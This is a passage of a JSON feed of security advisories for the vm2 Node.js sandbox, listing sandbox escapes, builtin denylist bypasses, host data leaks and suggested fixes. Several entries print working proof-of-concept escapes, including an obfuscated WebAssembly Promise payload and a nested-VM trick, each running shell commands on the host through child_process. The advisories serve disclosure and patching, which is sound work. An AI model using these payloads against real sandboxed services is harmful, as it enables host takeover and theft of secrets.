3.11.5"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nbWMyLTJ4OXctY2doOc4ABkVa/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05Zzh4LTkycTItcDI4Zs4ABXvA","url":"https://github.com/advisories/GHSA-9g8x-92q2-p28f","title":"NodeVM observability builtins leak host process and HTTP request data","description":"## Summary\n\n`NodeVM` exposes some process-wide observability builtins when they are allowed through `require.builtin`.\n\nThe following builtins are not blocked by the dangerous builtin denylist:\n\n```text\ndiagnostics_channel\nasync_hooks\nperf_hooks\n```\n\nThese modules are process-wide, not sandbox-local. Sandboxed code can use them to observe host application data across the vm2 boundary.\n\n**Note**: It is a host data exposure issue. The impact depends on whether the host application allows these builtins and uses HTTP, async request context, diagnostics channels, or performance marks in the same process.\n\n## Details\n\nNon-denied builtins are exposed to the sandbox through `lib/builtin.js`:\n\n```js\nbuiltins.set(key, special ? special : vm =\u003e vm.readonly(hostRequire(key)));\n```\n\n`diagnostics_channel`, `async_hooks`, and `perf_hooks` are not denied. These modules expose host process state rather than sandbox-local state.\n\nConfirmed examples:\n\n1. `diagnostics_channel` lets sandboxed code subscribe to Node.js HTTP diagnostic channels such as `http.server.request.start`. The sandbox receives host HTTP request objects and can read headers such as `Authorization` or session tokens.\n2. `async_hooks.executionAsyncResource()` lets sandboxed code read the current host `AsyncResource`. If the host stores request/user data on that resource, the sandbox can read it.\n3. `perf_hooks.performance.getEntriesByType('mark')` lets sandboxed code read host performance timeline entries.\n\n## PoC\n\nRun from the vm2 repository root:\n\n```bash\nnode poc/observability-builtins-info-leak.js\n```\n[observability-builtins-info-leak.js](https://github.com/user-attachments/files/27571259/observability-builtins-info-leak.js)\n\nThe PoC uses only the specific builtin being tested in each section.\n\nIt confirms:\n\n```text\ndiagnostics_channel: sandbox reads host HTTP request headers\nasync_hooks: sandbox reads host AsyncResource data\nperf_hooks: sandbox reads host performance mark names\n```\n\nExample impact from the PoC:\n\n```text\nauthorization: Bearer HOST_HTTP_SECRET_...\nx-session-token: HOST_HTTP_SECRET_...\n```\n\nThese values are sent to a host HTTP server, but the sandbox reads them through `diagnostics_channel`.\n\n\u003cimg width=\"997\" height=\"566\" alt=\"Screenshot 2026-05-10 at 1 13 20 PM\" src=\"https://github.com/user-attachments/assets/36a7d600-8b53-4bfe-ab06-4e6dcfad5015\" /\u003e\n\n## Impact\n\nAn attacker who can run untrusted JavaScript inside `NodeVM` with affected builtin settings can observe data from the host process.\n\nIn a real application, this may expose HTTP request headers, authorization tokens, session tokens, request context values, user identifiers, or other sensitive diagnostics data from the host application or from other users.\n\n## Suggested fix\n\nTreat process-wide observability modules as dangerous builtins for untrusted sandboxes.\n\nAt minimum, consider blocking:\n\n```text\ndiagnostics_channel\nasync_hooks\nperf_hooks\n```\n\nThese modules are not sandbox-local and can expose host process state across the vm2 boundary.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-29T18:20:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.6,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N/E:U","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-9g8x-92q2-p28f","https://github.com/patriksimek/vm2/commit/e1c48fce05189f48e71efbd32af0754efa4066bb","https://github.com/patriksimek/vm2/releases/tag/v3.11.4","https://nvd.nist.gov/vuln/detail/CVE-2026-47141","https://github.com/advisories/GHSA-9g8x-92q2-p28f"],"source_kind":"github","identifiers":["GHSA-9g8x-92q2-p28f","CVE-2026-47141"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T19:00:08.611Z","updated_at":"2026-10-14T10:04:06.535Z","epss_percentage":0.00507,"epss_percentile":0.41581,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Zzh4LTkycTItcDI4Zs4ABXvA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05Zzh4LTkycTItcDI4Zs4ABXvA","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.4","vulnerable_version_range":"\u003c= 3.11.3"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05Zzh4LTkycTItcDI4Zs4ABXvA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yOXBtLWd4bXctd3Y2cM4ABXu_","url":"https://github.com/advisories/GHSA-r9pm-gxmw-wv6p","title":"NodeVM network builtin exclusions bypass via internal _http_client and _http_server","description":"## Summary\n\n`NodeVM` supports excluding public network builtins from the wildcard builtin option. With this configuration direct access to `http`, `https`, `http2`, `net`, `dgram`, `tls`, `dns`, and `dns/promises` is blocked.\n\nHowever, Node.js also exposes underscored internal HTTP builtins such as `_http_client` and `_http_server`. These are not blocked when the public modules are excluded.\n\nSandboxed code can use these internal builtins to make outbound HTTP requests and open listening HTTP sockets even though the public network modules are denied.\n\n**Note**: This is not host RCE. It is a network capability bypass that can lead to SSRF-style access to internal services.\n\n## Details\n\nThe wildcard builtin expansion is based on Node.js builtin module names:\n\n```js\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))\n  .filter(s=\u003e!s.startsWith('internal/') \u0026\u0026 !DANGEROUS_BUILTINS.has(s));\n```\n\nPublic modules can be excluded with `-name`:\n\n```js\nif (builtins.indexOf(`-${name}`) === -1) {\n  addDefaultBuiltin(res, name, hostRequire);\n}\n```\n\nBut excluding `http` and `net` does not exclude internal siblings such as:\n\n```text\n_http_client\n_http_server\n_tls_wrap\n```\n\nThese internal modules expose network primitives.\n\nConfirmed examples:\n\n1. `require('_http_client').ClientRequest(...)` performs an outbound HTTP request to a host-local service while `http` and `net` are blocked.\n2. `require('_http_server').Server(...).listen(...)` opens a listening HTTP socket while `http` and `net` are blocked.\n\n## PoC\n\nTested on:\n\n```text\nvm2: 3.11.2\nNode.js: v25.9.0\n```\n\nRun from the vm2 repository root:\n\n```bash\nnode poc/internal-http-builtin-network-bypass.js\n```\n[internal-http-builtin-network-bypass.js](https://github.com/user-attachments/files/27571182/internal-http-builtin-network-bypass.js)\n\n\nThe PoC first confirms the intended restrictions work then bypasses them:\n\n```text\nrequire(\"_http_client\").ClientRequest(...)\n```\n\nThis performs an HTTP request to a host-local service and reads the response.\n\nIt also confirms:\n\n```text\nrequire(\"_http_server\").Server(...).listen(0)\n```\n\nThis opens a listening HTTP socket from inside the sandbox.\n\n\u003cimg width=\"951\" height=\"623\" alt=\"Screenshot 2026-05-10 at 1 07 39 PM\" src=\"https://github.com/user-attachments/assets/21bfb1ff-dd15-423a-92c4-0337cd07816c\" /\u003e\n\n## Impact\n\nAn attacker who can run untrusted JavaScript inside `NodeVM` with this affected builtin configuration can regain network access even when the application attempted to block network modules.\n\nThis can allow SSRF-style access to localhost services, metadata endpoints, internal admin panels, or other network resources reachable from the host process.\n\n## Suggested fix\n\nTreat underscored internal network modules as dangerous or link their availability to the public module they wrap.\n\nAt minimum, exclude related internal modules such as:\n\n```text\n_http_agent\n_http_client\n_http_common\n_http_incoming\n_http_outgoing\n_http_server\n_tls_common\n_tls_wrap\n```\n\nAlternatively, deny underscored Node.js internals from wildcard builtin expansion by default.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-29T18:08:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-r9pm-gxmw-wv6p","https://github.com/patriksimek/vm2/commit/436053e30eecbabd487e2fd2959c137ac34e2bb1","https://github.com/patriksimek/vm2/releases/tag/v3.11.4","https://nvd.nist.gov/vuln/detail/CVE-2026-47139","https://github.com/advisories/GHSA-r9pm-gxmw-wv6p"],"source_kind":"github","identifiers":["GHSA-r9pm-gxmw-wv6p","CVE-2026-47139"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T19:00:08.611Z","updated_at":"2026-10-14T10:04:06.535Z","epss_percentage":0.00492,"epss_percentile":0.40556,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOXBtLWd4bXctd3Y2cM4ABXu_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yOXBtLWd4bXctd3Y2cM4ABXu_","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.4","vulnerable_version_range":"\u003c= 3.11.3"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOXBtLWd4bXctd3Y2cM4ABXu_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycDM2LTh4cTMtcjZjNM4ABXu-","url":"https://github.com/advisories/GHSA-rp36-8xq3-r6c4","title":"NodeVM builtin denylist bypass via process and inspector/promises allows host code execution","description":"## Summary\n\n`NodeVM` blocks several dangerous Node.js builtins such as `module`, `worker_threads`, `cluster`, `vm`, `repl`, and `inspector`.\n\nHowever, the denylist misses `process` and `inspector/promises`. Both can be used from sandboxed code to reach host-side execution primitives.\n\nThis allows sandboxed code to bypass the intended builtin restrictions and execute code in the host process.\n\n## Details\n\nThe dangerous builtin denylist is defined in `lib/builtin.js`. This list does not include:\n\n```text\nprocess\ninspector/promises\n```\n\nNon-denied builtins are exposed to the sandbox through:\n\n```js\nbuiltins.set(key, special ? special : vm =\u003e vm.readonly(hostRequire(key)));\n```\n\nBecause of this, sandboxed code can bypass the expected restrictions in two ways:\n\n1. `require('process').getBuiltinModule('child_process')` reloads `child_process`, even when `child_process` is excluded.\n2. `require('inspector/promises')` exposes the Inspector protocol and can call `Runtime.evaluate` in the host process.\n\n## PoC\n\nTested on:\n\n```text\nvm2: 3.11.2\nNode.js: v25.9.0\n```\n\nRun from the vm2 repository root:\n\n```bash\nnode poc/dangerous-builtin-denylist-rce.js\n```\n[dangerous-builtin-denylist-rce.js](https://github.com/user-attachments/files/27570113/dangerous-builtin-denylist-rce.js)\n\n\nThe PoC first confirms the intended restrictions work:\n\n```text\nrequire(\"inspector\"): BLOCKED\nrequire(\"child_process\"): BLOCKED\n```\n\nThen it bypasses them:\n\n```text\nrequire(\"process\").getBuiltinModule(\"child_process\").execFileSync(...)\n```\n\nThis spawns a host child process. It also confirms:\n\n```text\nrequire(\"inspector/promises\").Session().post(\"Runtime.evaluate\", ...)\n```\n\nThis evaluates JavaScript in the host process.\n\n\u003cimg width=\"858\" height=\"766\" alt=\"Screenshot 2026-05-10 at 11 53 33 AM\" src=\"https://github.com/user-attachments/assets/7614aecb-5ffd-4c41-bfe8-e1fcb3b1bb59\" /\u003e\n\n## Impact\n\nAn attacker who can run untrusted JavaScript inside `NodeVM` with affected builtin settings can escape the sandbox and execute arbitrary code in the host process.\n\nThis can lead to full compromise of the application process, including reading files, writing files, spawning processes, and accessing host environment secrets.\n\n(This is not reachable with the default NodeVM configuration where require is disabled or no affected builtins are allowed. It affects applications that allow process, inspector/promises, or the wildcard \"*\" in require.builtin.)\n\n## Suggested fix\n\nAdd `process` and `inspector/promises` to the dangerous builtin blocklist.\n\nAlso consider blocking dangerous builtin families by prefix, for example blocking both:\n\n```text\ninspector\ninspector/*\n```\n\ninstead of only exact module names.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-29T17:59:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-rp36-8xq3-r6c4","https://github.com/patriksimek/vm2/commit/a1ed47a98d1cc36cb48c0d566d55889688e0b59b","https://github.com/patriksimek/vm2/releases/tag/v3.11.4","https://nvd.nist.gov/vuln/detail/CVE-2026-47140","https://github.com/advisories/GHSA-rp36-8xq3-r6c4"],"source_kind":"github","identifiers":["GHSA-rp36-8xq3-r6c4","CVE-2026-47140"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T18:00:08.785Z","updated_at":"2026-10-18T11:07:59.779Z","epss_percentage":0.00823,"epss_percentile":0.56512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycDM2LTh4cTMtcjZjNM4ABXu-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycDM2LTh4cTMtcjZjNM4ABXu-","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.4","vulnerable_version_range":"\u003c= 3.11.3"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycDM2LTh4cTMtcjZjNM4ABXu-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02ajJ4LXZocXItcXI3cc4ABXu7","url":"https://github.com/advisories/GHSA-6j2x-vhqr-qr7q","title":"vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass","description":"### Summary\nA sandbox escape vulnerability in `vm2` allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (`WebAssembly.promising` / `WebAssembly.Suspending`). In the tested configuration, a JSPI-backed Promise can reach `Promise.prototype.finally()` in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.\n\nThis is a critical sandbox escape: any application that treats `vm2` as a security boundary may be fully compromised.\n\n### Details\n\nOn node26, JSPI-backed Promises created through `WebAssembly.promising(...)` do not behave like ordinary sandbox Promises.\n\nThat path yields a host-originated `TypeError` during JSPI processing. Inside attacker-controlled species logic reached through `.finally()`, the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host `process`, which leads to arbitrary code execution in the host process.\n\nThis behavior is specific to the JSPI / `.finally()` interaction. In contrast, the corresponding `then` / `catch` paths still appeared to route through `vm2`'s expected `localPromise` machinery in my testing.\n\n### PoC\nEnvironment: node:26-bookworm\n```javascript\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\n(()=\u003e{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=\u003eWebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=\u003e{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=\u003e{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=\u003e{\n    let P=e.constructor.constructor('return process')()\n    P.mainModule.require('child_process').execSync('touch pwned');\n    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=\u003e{})});return 1})()\n`));\n```\n\n### Impact\nThis is a **sandbox escape leading to arbitrary code execution in the host process**.\n\nWho is impacted:\n\n- any application using `vm2` to execute attacker-controlled JavaScript as a security boundary\n- especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)\n\nPractical impact:\n\n- arbitrary command execution in the host process\n- arbitrary file read / write accessible to the host process\n- theft of secrets, tokens, credentials, and application data\n- complete compromise of services relying on `vm2` isolation","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-29T17:51:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-6j2x-vhqr-qr7q","https://github.com/patriksimek/vm2/commit/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6","https://github.com/patriksimek/vm2/releases/tag/v3.11.4","https://nvd.nist.gov/vuln/detail/CVE-2026-47210","https://github.com/advisories/GHSA-6j2x-vhqr-qr7q"],"source_kind":"github","identifiers":["GHSA-6j2x-vhqr-qr7q","CVE-2026-47210"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T18:00:08.786Z","updated_at":"2026-10-18T11:07:59.782Z","epss_percentage":0.00823,"epss_percentile":0.56511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02ajJ4LXZocXItcXI3cc4ABXu7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02ajJ4LXZocXItcXI3cc4ABXu7","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.4","vulnerable_version_range":"\u003c= 3.11.3"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02ajJ4LXZocXItcXI3cc4ABXu7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNHd4LW02NXgtZ2hycs4ABXu6","url":"https://github.com/advisories/GHSA-m4wx-m65x-ghrr","title":"vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE","description":"## Summary\n\nThe fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely.\n\nWhen `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact configuration the patch was designed to prevent.\n\n## Root Cause\n\n```javascript\n// nodevm.js:263 — the security check\nif (options.nesting === true \u0026\u0026 options.require === false) {\n    throw new VMError('...');\n}\n// nodevm.js:280 — the default assignment (AFTER the check)\nconst { require: requireOpts = false } = options;\n// When options.require is undefined:\n//   - Line 263: undefined === false → FALSE → check skipped\n//   - Line 280: requireOpts = false → same as require:false\n```\n\n## Impact\n\nFull Remote Code Execution on the host system. An attacker running code inside a `NodeVM({ nesting: true })` sandbox (without specifying `require`) can:\n\n1. `require('vm2')` to get the vm2 library\n2. Construct an inner `NodeVM` with `require: { builtin: ['child_process'] }`\n3. Execute arbitrary OS commands via `child_process.execSync`\n\nThe inner VM is completely unconstrained by the outer sandbox configuration.\n\n## Reproduction\n\n```javascript\nconst { NodeVM } = require('vm2');\n\n// nesting:true, require not specified (defaults to false AFTER the check)\nconst nvm = new NodeVM({ nesting: true });\n\nconst result = nvm.run(`\n  const { NodeVM } = require('vm2');\n  const inner = new NodeVM({\n    require: { builtin: ['child_process'] }\n  });\n  module.exports = inner.run(\n    \"module.exports = require('child_process').execSync('id').toString()\",\n    'exploit.js'\n  );\n`, 'exploit.js');\n\nconsole.log(result); // prints host uid/gid — full RCE\n```\n\n## Suggested Fix\n\n```javascript\n// Change the check to catch both false and undefined/omitted:\nif (options.nesting === true \u0026\u0026 !options.require) {\n    throw new VMError('...');\n}\n```\n\nOr move the check after the destructuring default assignment:\n\n```javascript\nconst { require: requireOpts = false } = options;\nif (options.nesting === true \u0026\u0026 !requireOpts) {\n    throw new VMError('...');\n}\n```","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-05-29T17:50:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrr","https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568","https://github.com/patriksimek/vm2/commit/86ab819f202c3a8dad88cef5705f2e416c5188d7","https://github.com/patriksimek/vm2/releases/tag/v3.11.4","https://nvd.nist.gov/vuln/detail/CVE-2026-47137","https://github.com/advisories/GHSA-m4wx-m65x-ghrr"],"source_kind":"github","identifiers":["GHSA-m4wx-m65x-ghrr","CVE-2026-47137"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T18:00:08.786Z","updated_at":"2026-10-12T12:03:55.977Z","epss_percentage":0.00705,"epss_percentile":0.51546,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNHd4LW02NXgtZ2hycs4ABXu6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNHd4LW02NXgtZ2hycs4ABXu6","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.4","vulnerable_version_range":"\u003c= 3.11.3"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNHd4LW02NXgtZ2hycs4ABXu6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jNGNmLTJoZ3YtMnF2Ns4ABXu5","url":"https://github.com/advisories/GHSA-c4cf-2hgv-2qv6","title":"vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain","description":"## Summary\n\nThe `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**.\n\nThis bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path.\n\n## Vulnerable Code\n\n```javascript\n// bridge.js:1231-1260\nset(target, key, value, receiver) {\n    validateHandlerTarget(this, target);\n    const object = getHandlerObject(this);\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\n    // ...\n    try {\n        value = otherFromThis(value);\n        return otherReflectSet(object, key, value) === true;\n        // BUG: 'receiver' is never used.\n        // Should check if receiver !== proxy and handle accordingly.\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n}\n```\n\n## Impact\n\nSandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:\n\n```javascript\n// Sandbox code\nconst child = Object.create(hostObj);\nchild.injectedProp = 'attacker-value';\n// hostObj now has 'injectedProp' on the HOST side\n```\n\nCombined with the Symbol.for coverage gap, this enables semantic confusion attacks:\n\n```javascript\nconst kCustom = Symbol.for('nodejs.util.promisify.custom');\nconst child = Object.create(hostFunction);\nchild[kCustom] = function() {\n    return Promise.resolve('attacker-controlled');\n};\n// Host: util.promisify(hostFunction)() returns 'attacker-controlled'\n```\n\n## Reproduction\n\n```javascript\nconst { VM } = require('vm2');\nconst util = require('util');\n\nconst vm = new VM();\nconst hostFn = function api(cb) { cb(null, 'ok'); };\nvm.setGlobal('hostFn', hostFn);\n\nvm.run(`\n  const kCustom = Symbol.for('nodejs.util.promisify.custom');\n  const child = Object.create(hostFn);\n  child[kCustom] = function() {\n    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');\n  };\n`);\n\n// Host side\nconst promisified = util.promisify(hostFn);\npromisified('test').then(r =\u003e console.log(r));\n// Output: EXPLOITED-VIA-RECEIVER-BUG\n```\n\n## Suggested Fix\n\n```javascript\nset(target, key, value, receiver) {\n    validateHandlerTarget(this, target);\n    const object = getHandlerObject(this);\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\n    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\n    if (key === '__proto__' \u0026\u0026 !thisOtherHasOwnProperty(object, key)) {\n        return this.setPrototypeOf(target, value);\n    }\n    if (key === 'constructor' \u0026\u0026 thisArrayIsArray(object)) {\n        thisReflectSet(target, key, value);\n        return true;\n    }\n    try {\n        value = otherFromThis(value);\n        // When receiver is not the proxy itself, set on receiver (this-realm)\n        // instead of the host target to preserve prototype-chain semantics.\n        return otherReflectSet(object, key, value) === true;\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n}\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-29T17:49:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-c4cf-2hgv-2qv6","https://github.com/patriksimek/vm2/commit/26d0318b5e6555be4b187ba05d6cf378ccecfe22","https://github.com/patriksimek/vm2/releases/tag/v3.11.4","https://nvd.nist.gov/vuln/detail/CVE-2026-47209","https://github.com/advisories/GHSA-c4cf-2hgv-2qv6"],"source_kind":"github","identifiers":["GHSA-c4cf-2hgv-2qv6","CVE-2026-47209"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T18:00:08.786Z","updated_at":"2026-10-14T10:04:06.537Z","epss_percentage":0.00506,"epss_percentile":0.41573,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNGNmLTJoZ3YtMnF2Ns4ABXu5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNGNmLTJoZ3YtMnF2Ns4ABXu5","packages":[{"ecosystem":"npm","package_name":"vm2","versions":[{"first_patched_version":"3.11.4","vulnerable_version_range":"\u003c= 3.11.3"}],"purl":"pkg:npm/vm2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNGNmLTJoZ3YtMnF2Ns4ABXu5/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNXEyLTRmbTMtdmZxcM4ABXu4","url":"https://github.com/advisories/GHSA-m5q2-4fm3-vfqp","title":"vm2 has a sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks","description":"## Summary\n\nvm2 3.11.2 `Symbol.for` override in `setup-sandbox.js` only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's `set`/`defineProperty`/`deleteProperty` traps having **no** `isDangerousCrossRealmSymbol` key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full `util.promisify` hijack chain.\n\n## Root Cause\n\n**1. Incomplete `Symbol.for` override** (`setup-sandbox.js:132-142`):\n\n```js\nSymbol.for = function (key) {\n    const keyStr = '' + key;\n    if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect;\n    if (keyStr === 'nodejs.rejection') return blockedSymbolRejection;\n    return originalSymbolFor(keyStr); // everything else passes through\n};\n```\n\nOnly `inspect.custom` and `rejection` are blocked. The following 7 Node.js internal symbols pass through as **real cross-realm symbols**:\n\n- `nodejs.util.promisify.custom`\n- `nodejs.stream.readable`\n- `nodejs.stream.writable`\n- `nodejs.stream.duplex`\n- `nodejs.stream.transform`\n- `nodejs.webstream.isClosedPromise`\n- `nodejs.webstream.controllerErrorFunction`\n\nNote: `bridge.js` `isDangerousCrossRealmSymbol` covers `promisify.custom` on **reads**, but the `Symbol.for` override in setup-sandbox does not block it at the source.\n\n**2. Missing symbol check in bridge write traps** (`bridge.js`):\n\nThe `get` trap (line 1148) and `ownKeys` trap (line 1541) both check `isDangerousCrossRealmSymbol(key)`, but `set` (line 1231), `defineProperty` (line 1427), and `deleteProperty` (line 1493) have **no such check**. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.\n\n**3. Incomplete filters in setup-sandbox.js**:\n\n`isDangerousSymbol()`, `Object.getOwnPropertyDescriptors` override, and `Object.assign` override only filter `inspect.custom` and `rejection` — missing `promisify.custom` and all stream/webstream symbols.\n\n## Verified Exploitation: util.promisify Hijack\n\n```js\nconst { VM } = require('vm2');\nconst util = require('util');\n\nconst vm = new VM();\nconst hostFn = function readFile(path, cb) { cb(null, 'real data'); };\nvm.setGlobal('hostFn', hostFn);\n\n// Sandbox writes promisify.custom to host function\nvm.run(`\n  const kPromisify = Symbol.for('nodejs.util.promisify.custom');\n  hostFn[kPromisify] = function(path) {\n    return Promise.resolve('HIJACKED by sandbox');\n  };\n`);\n\n// Host-side: promisified function now returns sandbox-controlled value\nconst asyncRead = util.promisify(hostFn);\nasyncRead('/etc/passwd').then(console.log);\n// Output: \"HIJACKED by sandbox\"\n```\n\n**Additional verified attacks:**\n\n- Writing `nodejs.stream.writable` to a host Readable stream, altering its duck-typing identity\n- `Object.assign` propagates unblocked symbols from sandbox source to host target\n- `Object.defineProperty` with unblocked symbol key succeeds on host objects\n- `delete hostObj[unblocked_symbol]` succeeds, removing host-set symbol properties\n\n## Impact\n\n- **Semantic confusion**: Sandbox controls host `util.promisify` behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox.\n- **Data integrity**: Host code relying on promisified function results gets sandbox-controlled values.\n- **Defense bypass**: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation.\n\nThis is not a direct RCE — the bridge still wraps sandbox functions crossing the boundary — but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.\n\n## Affected Versions\n\n- vm2 \u003c= 3.11.2 (all 3.x versions)\n\n## Environment\n\n- Node.js v24.14.0\n- macOS (Darwin 25.4.0)\n\n## Suggested Fix\n\n1. **`setup-sandbox.js`**: Block all `nodejs.*` prefixed symbols:\n\n```js\nSymbol.for = function (key) {\n    const keyStr = '' + key;\n    if 